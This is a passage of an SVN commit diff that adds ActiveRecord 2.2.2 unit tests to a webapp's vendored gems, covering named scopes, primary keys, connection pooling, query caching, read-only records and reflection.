--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/modules_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/modules_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+require "cases/helper"
+require 'models/company_in_module'
+
+class ModulesTest < ActiveRecord::TestCase
+  fixtures :accounts, :companies, :projects, :developers
+
+  def test_module_spanning_associations
+    firm = MyApplication::Business::Firm.find(:first)
+    assert !firm.clients.empty?, "Firm should have clients"
+    assert_nil firm.class.table_name.match('::'), "Firm shouldn't have the module appear in its table name"
+  end
+
+  def test_module_spanning_has_and_belongs_to_many_associations
+    project = MyApplication::Business::Project.find(:first)
+    project.developers << MyApplication::Business::Developer.create("name" => "John")
+    assert "John", project.developers.last.name
+  end
+
+  def test_associations_spanning_cross_modules
+    account = MyApplication::Billing::Account.find(:first, :order => 'id')
+    assert_kind_of MyApplication::Business::Firm, account.firm
+    assert_kind_of MyApplication::Billing::Firm, account.qualified_billing_firm
+    assert_kind_of MyApplication::Billing::Firm, account.unqualified_billing_firm
+    assert_kind_of MyApplication::Billing::Nested::Firm, account.nested_qualified_billing_firm
+    assert_kind_of MyApplication::Billing::Nested::Firm, account.nested_unqualified_billing_firm
+  end
+
+  def test_find_account_and_include_company
+    account = MyApplication::Billing::Account.find(1, :include => :firm)
+    assert_kind_of MyApplication::Business::Firm, account.instance_variable_get('@firm')
+    assert_kind_of MyApplication::Business::Firm, account.firm
+  end
+
+  def test_table_name
+    assert_equal 'accounts', MyApplication::Billing::Account.table_name, 'table_name for ActiveRecord model in module'
+    assert_equal 'companies', MyApplication::Business::Client.table_name, 'table_name for ActiveRecord model subclass'
+    assert_equal 'company_contacts', MyApplication::Business::Client::Contact.table_name, 'table_name for ActiveRecord model enclosed by another ActiveRecord model'
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/multiple_db_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/multiple_db_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/multiple_db_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,85 @@
+require "cases/helper"
+require 'models/entrant'
+
+# So we can test whether Course.connection survives a reload.
+require_dependency 'models/course'
+
+class MultipleDbTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @courses  = create_fixtures("courses") { Course.retrieve_connection }
+    @entrants = create_fixtures("entrants")
+  end
+
+  def test_connected
+    assert_not_nil Entrant.connection
+    assert_not_nil Course.connection
+  end
+
+  def test_proper_connection
+    assert_not_equal(Entrant.connection, Course.connection)
+    assert_equal(Entrant.connection, Entrant.retrieve_connection)
+    assert_equal(Course.connection, Course.retrieve_connection)
+    assert_equal(ActiveRecord::Base.connection, Entrant.connection)
+  end
+
+  def test_find
+    c1 = Course.find(1)
+    assert_equal "Ruby Development", c1.name
+    c2 = Course.find(2)
+    assert_equal "Java Development", c2.name
+    e1 = Entrant.find(1)
+    assert_equal "Ruby Developer", e1.name
+    e2 = Entrant.find(2)
+    assert_equal "Ruby Guru", e2.name
+    e3 = Entrant.find(3)
+    assert_equal "Java Lover", e3.name
+  end
+
+  def test_associations
+    c1 = Course.find(1)
+    assert_equal 2, c1.entrants.count
+    e1 = Entrant.find(1)
+    assert_equal e1.course.id, c1.id
+    c2 = Course.find(2)
+    assert_equal 1, c2.entrants.count
+    e3 = Entrant.find(3)
+    assert_equal e3.course.id, c2.id
+  end
+
+  def test_course_connection_should_survive_dependency_reload
+    assert Course.connection
+
+    ActiveSupport::Dependencies.clear
+    Object.send(:remove_const, :Course)
+    require_dependency 'models/course'
+
+    assert Course.connection
+  end
+
+  def test_transactions_across_databases
+    c1 = Course.find(1)
+    e1 = Entrant.find(1)
+
+    begin
+      Course.transaction do
+        Entrant.transaction do
+          c1.name = "Typo"
+          e1.name = "Typo"
+          c1.save
+          e1.save
+          raise "No I messed up."
+        end
+      end
+    rescue
+      # Yup caught it
+    end
+
+    assert_equal "Typo", c1.name
+    assert_equal "Typo", e1.name
+
+    assert_equal "Ruby Development", Course.find(1).name
+    assert_equal "Ruby Developer", Entrant.find(1).name
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/named_scope_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/named_scope_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/named_scope_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,280 @@
+require "cases/helper"
+require 'models/post'
+require 'models/topic'
+require 'models/comment'
+require 'models/reply'
+require 'models/author'
+require 'models/developer'
+
+class NamedScopeTest < ActiveRecord::TestCase
+  fixtures :posts, :authors, :topics, :comments, :author_addresses
+
+  def test_implements_enumerable
+    assert !Topic.find(:all).empty?
+
+    assert_equal Topic.find(:all),   Topic.base
+    assert_equal Topic.find(:all),   Topic.base.to_a
+    assert_equal Topic.find(:first), Topic.base.first
+    assert_equal Topic.find(:all),   Topic.base.each { |i| i }
+  end
+
+  def test_found_items_are_cached
+    Topic.columns
+    all_posts = Topic.base
+
+    assert_queries(1) do
+      all_posts.collect
+      all_posts.collect
+    end
+  end
+
+  def test_reload_expires_cache_of_found_items
+    all_posts = Topic.base
+    all_posts.inspect
+
+    new_post = Topic.create!
+    assert !all_posts.include?(new_post)
+    assert all_posts.reload.include?(new_post)
+  end
+
+  def test_delegates_finds_and_calculations_to_the_base_class
+    assert !Topic.find(:all).empty?
+
+    assert_equal Topic.find(:all),               Topic.base.find(:all)
+    assert_equal Topic.find(:first),             Topic.base.find(:first)
+    assert_equal Topic.count,                    Topic.base.count
+    assert_equal Topic.average(:replies_count), Topic.base.average(:replies_count)
+  end
+
+  def test_scope_should_respond_to_own_methods_and_methods_of_the_proxy
+    assert Topic.approved.respond_to?(:proxy_found)
+    assert Topic.approved.respond_to?(:count)
+    assert Topic.approved.respond_to?(:length)
+  end
+
+  def test_respond_to_respects_include_private_parameter
+    assert !Topic.approved.respond_to?(:load_found)
+    assert Topic.approved.respond_to?(:load_found, true)
+  end
+
+  def test_subclasses_inherit_scopes
+    assert Topic.scopes.include?(:base)
+
+    assert Reply.scopes.include?(:base)
+    assert_equal Reply.find(:all), Reply.base
+  end
+
+  def test_scopes_with_options_limit_finds_to_those_matching_the_criteria_specified
+    assert !Topic.find(:all, :conditions => {:approved => true}).empty?
+
+    assert_equal Topic.find(:all, :conditions => {:approved => true}), Topic.approved
+    assert_equal Topic.count(:conditions => {:approved => true}), Topic.approved.count
+  end
+
+  def test_scopes_with_string_name_can_be_composed
+    # NOTE that scopes defined with a string as a name worked on their own
+    # but when called on another scope the other scope was completely replaced
+    assert_equal Topic.replied.approved, Topic.replied.approved_as_string
+  end
+
+  def test_scopes_can_be_specified_with_deep_hash_conditions
+    assert_equal Topic.replied.approved, Topic.replied.approved_as_hash_condition
+  end
+
+  def test_scopes_are_composable
+    assert_equal (approved = Topic.find(:all, :conditions => {:approved => true})), Topic.approved
+    assert_equal (replied = Topic.find(:all, :conditions => 'replies_count > 0')), Topic.replied
+    assert !(approved == replied)
+    assert !(approved & replied).empty?
+
+    assert_equal approved & replied, Topic.approved.replied
+  end
+
+  def test_procedural_scopes
+    topics_written_before_the_third = Topic.find(:all, :conditions => ['written_on < ?', topics(:third).written_on])
+    topics_written_before_the_second = Topic.find(:all, :conditions => ['written_on < ?', topics(:second).written_on])
+    assert_not_equal topics_written_before_the_second, topics_written_before_the_third
+
+    assert_equal topics_written_before_the_third, Topic.written_before(topics(:third).written_on)
+    assert_equal topics_written_before_the_second, Topic.written_before(topics(:second).written_on)
+  end
+
+  def test_scopes_with_joins
+    address = author_addresses(:david_address)
+    posts_with_authors_at_address = Post.find(
+      :all, :joins => 'JOIN authors ON authors.id = posts.author_id',
+      :conditions => [ 'authors.author_address_id = ?', address.id ]
+    )
+    assert_equal posts_with_authors_at_address, Post.with_authors_at_address(address)
+  end
+
+  def test_scopes_with_joins_respects_custom_select
+    address = author_addresses(:david_address)
+    posts_with_authors_at_address_titles = Post.find(:all,
+      :select => 'title',
+      :joins => 'JOIN authors ON authors.id = posts.author_id',
+      :conditions => [ 'authors.author_address_id = ?', address.id ]
+    )
+    assert_equal posts_with_authors_at_address_titles, Post.with_authors_at_address(address).find(:all, :select => 'title')
+  end
+
+  def test_extensions
+    assert_equal 1, Topic.anonymous_extension.one
+    assert_equal 2, Topic.named_extension.two
+  end
+
+  def test_multiple_extensions
+    assert_equal 2, Topic.multiple_extensions.extension_two
+    assert_equal 1, Topic.multiple_extensions.extension_one
+  end
+
+  def test_has_many_associations_have_access_to_named_scopes
+    assert_not_equal Post.containing_the_letter_a, authors(:david).posts
+    assert !Post.containing_the_letter_a.empty?
+
+    assert_equal authors(:david).posts & Post.containing_the_letter_a, authors(:david).posts.containing_the_letter_a
+  end
+
+  def test_has_many_through_associations_have_access_to_named_scopes
+    assert_not_equal Comment.containing_the_letter_e, authors(:david).comments
+    assert !Comment.containing_the_letter_e.empty?
+
+    assert_equal authors(:david).comments & Comment.containing_the_letter_e, authors(:david).comments.containing_the_letter_e
+  end
+
+  def test_active_records_have_scope_named__all__
+    assert !Topic.find(:all).empty?
+
+    assert_equal Topic.find(:all), Topic.base
+  end
+
+  def test_active_records_have_scope_named__scoped__
+    assert !Topic.find(:all, scope = {:conditions => "content LIKE '%Have%'"}).empty?
+
+    assert_equal Topic.find(:all, scope), Topic.scoped(scope)
+  end
+
+  def test_proxy_options
+    expected_proxy_options = { :conditions => { :approved => true } }
+    assert_equal expected_proxy_options, Topic.approved.proxy_options
+  end
+
+  def test_first_and_last_should_support_find_options
+    assert_equal Topic.base.first(:order => 'title'), Topic.base.find(:first, :order => 'title')
+    assert_equal Topic.base.last(:order => 'title'), Topic.base.find(:last, :order => 'title')
+  end
+
+  def test_first_and_last_should_allow_integers_for_limit
+    assert_equal Topic.base.first(2), Topic.base.to_a.first(2)
+    assert_equal Topic.base.last(2), Topic.base.to_a.last(2)
+  end
+
+  def test_first_and_last_should_not_use_query_when_results_are_loaded
+    topics = Topic.base
+    topics.reload # force load
+    assert_no_queries do
+      topics.first
+      topics.last
+    end
+  end
+
+  def test_first_and_last_find_options_should_use_query_when_results_are_loaded
+    topics = Topic.base
+    topics.reload # force load
+    assert_queries(2) do
+      topics.first(:order => 'title')
+      topics.last(:order => 'title')
+    end
+  end
+
+  def test_empty_should_not_load_results
+    topics = Topic.base
+    assert_queries(2) do
+      topics.empty?  # use count query
+      topics.collect # force load
+      topics.empty?  # use loaded (no query)
+    end
+  end
+
+  def test_any_should_not_load_results
+    topics = Topic.base
+    assert_queries(2) do
+      topics.any?    # use count query
+      topics.collect # force load
+      topics.any?    # use loaded (no query)
+    end
+  end
+
+  def test_any_should_call_proxy_found_if_using_a_block
+    topics = Topic.base
+    assert_queries(1) do
+      topics.expects(:empty?).never
+      topics.any? { true }
+    end
+  end
+
+  def test_any_should_not_fire_query_if_named_scope_loaded
+    topics = Topic.base
+    topics.collect # force load
+    assert_no_queries { assert topics.any? }
+  end
+
+  def test_should_build_with_proxy_options
+    topic = Topic.approved.build({})
+    assert topic.approved
+  end
+
+  def test_should_build_new_with_proxy_options
+    topic = Topic.approved.new
+    assert topic.approved
+  end
+
+  def test_should_create_with_proxy_options
+    topic = Topic.approved.create({})
+    assert topic.approved
+  end
+
+  def test_should_create_with_bang_with_proxy_options
+    topic = Topic.approved.create!({})
+    assert topic.approved
+  end
+  
+  def test_should_build_with_proxy_options_chained
+    topic = Topic.approved.by_lifo.build({})
+    assert topic.approved
+    assert_equal 'lifo', topic.author_name
+  end
+
+  def test_find_all_should_behave_like_select
+    assert_equal Topic.base.select(&:approved), Topic.base.find_all(&:approved)
+  end
+
+  def test_rand_should_select_a_random_object_from_proxy
+    assert Topic.approved.rand.is_a?(Topic)
+  end
+
+  def test_should_use_where_in_query_for_named_scope
+    assert_equal Developer.find_all_by_name('Jamis'), Developer.find_all_by_id(Developer.jamises)
+  end
+
+  def test_size_should_use_count_when_results_are_not_loaded
+    topics = Topic.base
+    assert_queries(1) do
+      assert_sql(/COUNT/i) { topics.size }
+    end
+  end
+
+  def test_size_should_use_length_when_results_are_loaded
+    topics = Topic.base
+    topics.reload # force load
+    assert_no_queries do
+      topics.size # use loaded (no query)
+    end
+  end
+
+  def test_chaining_with_duplicate_joins
+    join = "INNER JOIN comments ON comments.post_id = posts.id"
+    post = Post.find(1)
+    assert_equal post.comments.size, Post.scoped(:joins => join).scoped(:joins => join, :conditions => "posts.id = #{post.id}").size
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/pk_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/pk_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/pk_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,101 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+require 'models/subscriber'
+require 'models/movie'
+require 'models/keyboard'
+require 'models/mixed_case_monkey'
+
+class PrimaryKeysTest < ActiveRecord::TestCase
+  fixtures :topics, :subscribers, :movies, :mixed_case_monkeys
+
+  def test_integer_key
+    topic = Topic.find(1)
+    assert_equal(topics(:first).author_name, topic.author_name)
+    topic = Topic.find(2)
+    assert_equal(topics(:second).author_name, topic.author_name)
+
+    topic = Topic.new
+    topic.title = "New Topic"
+    assert_equal(nil, topic.id)
+    assert_nothing_raised { topic.save! }
+    id = topic.id
+
+    topicReloaded = Topic.find(id)
+    assert_equal("New Topic", topicReloaded.title)
+  end
+
+  def test_customized_primary_key_auto_assigns_on_save
+    Keyboard.delete_all
+    keyboard = Keyboard.new(:name => 'HHKB')
+    assert_nothing_raised { keyboard.save! }
+    assert_equal keyboard.id, Keyboard.find_by_name('HHKB').id
+  end
+
+  def test_customized_primary_key_can_be_get_before_saving
+    keyboard = Keyboard.new
+    assert_nil keyboard.id
+    assert_nothing_raised { assert_nil keyboard.key_number }
+  end
+
+  def test_customized_string_primary_key_settable_before_save
+    subscriber = Subscriber.new
+    assert_nothing_raised { subscriber.id = 'webster123' }
+    assert_equal 'webster123', subscriber.id
+    assert_equal 'webster123', subscriber.nick
+  end
+
+  def test_string_key
+    subscriber = Subscriber.find(subscribers(:first).nick)
+    assert_equal(subscribers(:first).name, subscriber.name)
+    subscriber = Subscriber.find(subscribers(:second).nick)
+    assert_equal(subscribers(:second).name, subscriber.name)
+
+    subscriber = Subscriber.new
+    subscriber.id = "jdoe"
+    assert_equal("jdoe", subscriber.id)
+    subscriber.name = "John Doe"
+    assert_nothing_raised { subscriber.save! }
+    assert_equal("jdoe", subscriber.id)
+
+    subscriberReloaded = Subscriber.find("jdoe")
+    assert_equal("John Doe", subscriberReloaded.name)
+  end
+
+  def test_find_with_more_than_one_string_key
+    assert_equal 2, Subscriber.find(subscribers(:first).nick, subscribers(:second).nick).length
+  end
+
+  def test_primary_key_prefix
+    ActiveRecord::Base.primary_key_prefix_type = :table_name
+    Topic.reset_primary_key
+    assert_equal "topicid", Topic.primary_key
+
+    ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
+    Topic.reset_primary_key
+    assert_equal "topic_id", Topic.primary_key
+
+    ActiveRecord::Base.primary_key_prefix_type = nil
+    Topic.reset_primary_key
+    assert_equal "id", Topic.primary_key
+  end
+
+  def test_delete_should_quote_pkey
+    assert_nothing_raised { MixedCaseMonkey.delete(1) }
+  end
+  def test_update_counters_should_quote_pkey_and_quote_counter_columns
+    assert_nothing_raised { MixedCaseMonkey.update_counters(1, :fleaCount => 99) }
+  end
+  def test_find_with_one_id_should_quote_pkey
+    assert_nothing_raised { MixedCaseMonkey.find(1) }
+  end
+  def test_find_with_multiple_ids_should_quote_pkey
+    assert_nothing_raised { MixedCaseMonkey.find([1,2]) }
+  end
+  def test_instance_update_should_quote_pkey
+    assert_nothing_raised { MixedCaseMonkey.find(1).save }
+  end
+  def test_instance_destroy_should_quote_pkey
+    assert_nothing_raised { MixedCaseMonkey.find(1).destroy }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/pooled_connections_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/pooled_connections_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/pooled_connections_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,103 @@
+require "cases/helper"
+
+class PooledConnectionsTest < ActiveRecord::TestCase
+  def setup
+    super
+    @connection = ActiveRecord::Base.remove_connection
+  end
+
+  def teardown
+    ActiveRecord::Base.clear_all_connections!
+    ActiveRecord::Base.establish_connection(@connection)
+    super
+  end
+
+  def checkout_connections
+    ActiveRecord::Base.establish_connection(@connection.merge({:pool => 2, :wait_timeout => 0.3}))
+    @connections = []
+    @timed_out = 0
+
+    4.times do
+      Thread.new do
+        begin
+          @connections << ActiveRecord::Base.connection_pool.checkout
+        rescue ActiveRecord::ConnectionTimeoutError
+          @timed_out += 1
+        end
+      end.join
+    end
+  end
+
+  # Will deadlock due to lack of Monitor timeouts in 1.9
+  if RUBY_VERSION < '1.9'
+    def test_pooled_connection_checkout
+      checkout_connections
+      assert_equal @connections.length, 2
+      assert_equal @timed_out, 2
+    end
+  end
+
+  def checkout_checkin_connections(pool_size, threads)
+    ActiveRecord::Base.establish_connection(@connection.merge({:pool => pool_size, :wait_timeout => 0.5}))
+    @connection_count = 0
+    @timed_out = 0
+    threads.times do
+      Thread.new do
+        begin
+          conn = ActiveRecord::Base.connection_pool.checkout
+          sleep 0.1
+          ActiveRecord::Base.connection_pool.checkin conn
+          @connection_count += 1
+        rescue ActiveRecord::ConnectionTimeoutError
+          @timed_out += 1
+        end
+      end.join
+    end
+  end
+
+  def test_pooled_connection_checkin_one
+    checkout_checkin_connections 1, 2
+    assert_equal 2, @connection_count
+    assert_equal 0, @timed_out
+  end
+
+  def test_pooled_connection_checkin_two
+    checkout_checkin_connections 2, 3
+    assert_equal 3, @connection_count
+    assert_equal 0, @timed_out
+  end
+
+  def test_pooled_connection_checkout_existing_first
+    ActiveRecord::Base.establish_connection(@connection.merge({:pool => 1}))
+    conn_pool = ActiveRecord::Base.connection_pool
+    conn = conn_pool.checkout
+    conn_pool.checkin(conn)
+    conn = conn_pool.checkout
+    assert ActiveRecord::ConnectionAdapters::AbstractAdapter === conn
+    conn_pool.checkin(conn)
+  end
+
+  def test_not_connected_defined_connection_returns_false
+    ActiveRecord::Base.establish_connection(@connection)
+    assert ! ActiveRecord::Base.connected?
+  end
+
+  def test_undefined_connection_returns_false
+    old_handler = ActiveRecord::Base.connection_handler
+    ActiveRecord::Base.connection_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+    assert_equal false, ActiveRecord::Base.connected?
+  ensure
+    ActiveRecord::Base.connection_handler = old_handler
+  end
+end unless %w(FrontBase).include? ActiveRecord::Base.connection.adapter_name
+
+class AllowConcurrencyDeprecatedTest < ActiveRecord::TestCase
+  def test_allow_concurrency_is_deprecated
+    assert_deprecated('ActiveRecord::Base.allow_concurrency') do
+      ActiveRecord::Base.allow_concurrency
+    end
+    assert_deprecated('ActiveRecord::Base.allow_concurrency=') do
+      ActiveRecord::Base.allow_concurrency = true
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/query_cache_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/query_cache_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/query_cache_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,127 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+require 'models/task'
+require 'models/course'
+require 'models/category'
+require 'models/post'
+
+
+class QueryCacheTest < ActiveRecord::TestCase
+  fixtures :tasks, :topics, :categories, :posts, :categories_posts
+
+  def test_find_queries
+    assert_queries(2) { Task.find(1); Task.find(1) }
+  end
+
+  def test_find_queries_with_cache
+    Task.cache do
+      assert_queries(1) { Task.find(1); Task.find(1) }
+    end
+  end
+
+  def test_count_queries_with_cache
+    Task.cache do
+      assert_queries(1) { Task.count; Task.count }
+    end
+  end
+
+  def test_query_cache_dups_results_correctly
+    Task.cache do
+      now  = Time.now.utc
+      task = Task.find 1
+      assert_not_equal now, task.starting
+      task.starting = now
+      task.reload
+      assert_not_equal now, task.starting
+    end
+  end
+
+  def test_cache_is_flat
+    Task.cache do
+      Topic.columns # don't count this query
+      assert_queries(1) { Topic.find(1); Topic.find(1); }
+    end
+
+    ActiveRecord::Base.cache do
+      assert_queries(1) { Task.find(1); Task.find(1) }
+    end
+  end
+
+  def test_cache_does_not_wrap_string_results_in_arrays
+    Task.cache do
+      assert_instance_of String, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
+    end
+  end
+end
+
+uses_mocha 'QueryCacheExpiryTest' do
+
+class QueryCacheExpiryTest < ActiveRecord::TestCase
+  fixtures :tasks, :posts, :categories, :categories_posts
+
+  def test_find
+    Task.connection.expects(:clear_query_cache).times(1)
+
+    assert !Task.connection.query_cache_enabled
+    Task.cache do
+      assert Task.connection.query_cache_enabled
+      Task.find(1)
+
+      Task.uncached do
+        assert !Task.connection.query_cache_enabled
+        Task.find(1)
+      end
+
+      assert Task.connection.query_cache_enabled
+    end
+    assert !Task.connection.query_cache_enabled
+  end
+
+  def test_update
+    Task.connection.expects(:clear_query_cache).times(2)
+
+    Task.cache do
+      task = Task.find(1)
+      task.starting = Time.now.utc
+      task.save!
+    end
+  end
+
+  def test_destroy
+    Task.connection.expects(:clear_query_cache).times(2)
+
+    Task.cache do
+      Task.find(1).destroy
+    end
+  end
+
+  def test_insert
+    ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
+
+    Task.cache do
+      Task.create!
+    end
+  end
+
+  def test_cache_is_expired_by_habtm_update
+    ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
+    ActiveRecord::Base.cache do
+      c = Category.find(:first)
+      p = Post.find(:first)
+      p.categories << c
+    end
+  end
+
+  def test_cache_is_expired_by_habtm_delete
+    ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
+    ActiveRecord::Base.cache do
+      c = Category.find(1)
+      p = Post.find(1)
+      assert p.categories.any?
+      p.categories.delete_all
+    end
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/readonly_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/readonly_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/readonly_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,107 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+require 'models/developer'
+require 'models/project'
+require 'models/reader'
+require 'models/person'
+
+# Dummy class methods to test implicit association scoping.
+def Comment.foo() find :first end
+def Project.foo() find :first end
+
+
+class ReadOnlyTest < ActiveRecord::TestCase
+  fixtures :posts, :comments, :developers, :projects, :developers_projects
+
+  def test_cant_save_readonly_record
+    dev = Developer.find(1)
+    assert !dev.readonly?
+
+    dev.readonly!
+    assert dev.readonly?
+
+    assert_nothing_raised do
+      dev.name = 'Luscious forbidden fruit.'
+      assert !dev.save
+      dev.name = 'Forbidden.'
+    end
+    assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save  }
+    assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save! }
+  end
+
+
+  def test_find_with_readonly_option
+    Developer.find(:all).each { |d| assert !d.readonly? }
+    Developer.find(:all, :readonly => false).each { |d| assert !d.readonly? }
+    Developer.find(:all, :readonly => true).each { |d| assert d.readonly? }
+  end
+
+
+  def test_find_with_joins_option_implies_readonly
+    # Blank joins don't count.
+    Developer.find(:all, :joins => '  ').each { |d| assert !d.readonly? }
+    Developer.find(:all, :joins => '  ', :readonly => false).each { |d| assert !d.readonly? }
+
+    # Others do.
+    Developer.find(:all, :joins => ', projects').each { |d| assert d.readonly? }
+    Developer.find(:all, :joins => ', projects', :readonly => false).each { |d| assert !d.readonly? }
+  end
+
+
+  def test_habtm_find_readonly
+    dev = Developer.find(1)
+    assert !dev.projects.empty?
+    assert dev.projects.all?(&:readonly?)
+    assert dev.projects.find(:all).all?(&:readonly?)
+    assert dev.projects.find(:all, :readonly => true).all?(&:readonly?)
+  end
+
+  def test_has_many_find_readonly
+    post = Post.find(1)
+    assert !post.comments.empty?
+    assert !post.comments.any?(&:readonly?)
+    assert !post.comments.find(:all).any?(&:readonly?)
+    assert post.comments.find(:all, :readonly => true).all?(&:readonly?)
+  end
+
+  def test_has_many_with_through_is_not_implicitly_marked_readonly
+    assert people = Post.find(1).people
+    assert !people.any?(&:readonly?)
+  end
+
+  def test_readonly_scoping
+    Post.with_scope(:find => { :conditions => '1=1' }) do
+      assert !Post.find(1).readonly?
+      assert Post.find(1, :readonly => true).readonly?
+      assert !Post.find(1, :readonly => false).readonly?
+    end
+
+    Post.with_scope(:find => { :joins => '   ' }) do
+      assert !Post.find(1).readonly?
+      assert Post.find(1, :readonly => true).readonly?
+      assert !Post.find(1, :readonly => false).readonly?
+    end
+
+    # Oracle barfs on this because the join includes unqualified and
+    # conflicting column names
+    unless current_adapter?(:OracleAdapter)
+      Post.with_scope(:find => { :joins => ', developers' }) do
+        assert Post.find(1).readonly?
+        assert Post.find(1, :readonly => true).readonly?
+        assert !Post.find(1, :readonly => false).readonly?
+      end
+    end
+
+    Post.with_scope(:find => { :readonly => true }) do
+      assert Post.find(1).readonly?
+      assert Post.find(1, :readonly => true).readonly?
+      assert !Post.find(1, :readonly => false).readonly?
+    end
+  end
+
+  def test_association_collection_method_missing_scoping_not_readonly
+    assert !Developer.find(1).projects.foo.readonly?
+    assert !Post.find(1).comments.foo.readonly?
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/reflection_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/reflection_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/reflection_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,184 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/customer'
+require 'models/company'
+require 'models/company_in_module'
+require 'models/subscriber'
+
+class ReflectionTest < ActiveRecord::TestCase
+  fixtures :topics, :customers, :companies, :subscribers
+
+  def setup
+    @first = Topic.find(1)
+  end
+
+  def test_column_null_not_null
+    subscriber = Subscriber.find(:first)
+    assert subscriber.column_for_attribute("name").null
+    assert !subscriber.column_for_attribute("nick").null
+  end
+
+  def test_read_attribute_names
+    assert_equal(
+      %w( id title author_name author_email_address bonus_time written_on last_read content approved replies_count parent_id type ).sort,
+      @first.attribute_names
+    )
+  end
+
+  def test_columns
+    assert_equal 12, Topic.columns.length
+  end
+
+  def test_columns_are_returned_in_the_order_they_were_declared
+    column_names = Topic.columns.map { |column| column.name }
+    assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content approved replies_count parent_id type), column_names
+  end
+
+  def test_content_columns
+    content_columns        = Topic.content_columns
+    content_column_names   = content_columns.map {|column| column.name}
+    assert_equal 8, content_columns.length
+    assert_equal %w(title author_name author_email_address written_on bonus_time last_read content approved).sort, content_column_names.sort
+  end
+
+  def test_column_string_type_and_limit
+    assert_equal :string, @first.column_for_attribute("title").type
+    assert_equal 255, @first.column_for_attribute("title").limit
+  end
+
+  def test_column_null_not_null
+    subscriber = Subscriber.find(:first)
+    assert subscriber.column_for_attribute("name").null
+    assert !subscriber.column_for_attribute("nick").null
+  end
+
+  def test_human_name_for_column
+    assert_equal "Author name", @first.column_for_attribute("author_name").human_name
+  end
+
+  def test_integer_columns
+    assert_equal :integer, @first.column_for_attribute("id").type
+  end
+
+  def test_reflection_klass_for_nested_class_name
+    reflection = ActiveRecord::Reflection::MacroReflection.new(nil, nil, { :class_name => 'MyApplication::Business::Company' }, nil)
+    assert_nothing_raised do
+      assert_equal MyApplication::Business::Company, reflection.klass
+    end
+  end
+
+  def test_aggregation_reflection
+    reflection_for_address = ActiveRecord::Reflection::AggregateReflection.new(
+      :composed_of, :address, { :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
+    )
+
+    reflection_for_balance = ActiveRecord::Reflection::AggregateReflection.new(
+      :composed_of, :balance, { :class_name => "Money", :mapping => %w(balance amount) }, Customer
+    )
+
+    reflection_for_gps_location = ActiveRecord::Reflection::AggregateReflection.new(
+      :composed_of, :gps_location, { }, Customer
+    )
+
+    assert Customer.reflect_on_all_aggregations.include?(reflection_for_gps_location)
+    assert Customer.reflect_on_all_aggregations.include?(reflection_for_balance)
+    assert Customer.reflect_on_all_aggregations.include?(reflection_for_address)
+
+    assert_equal reflection_for_address, Customer.reflect_on_aggregation(:address)
+
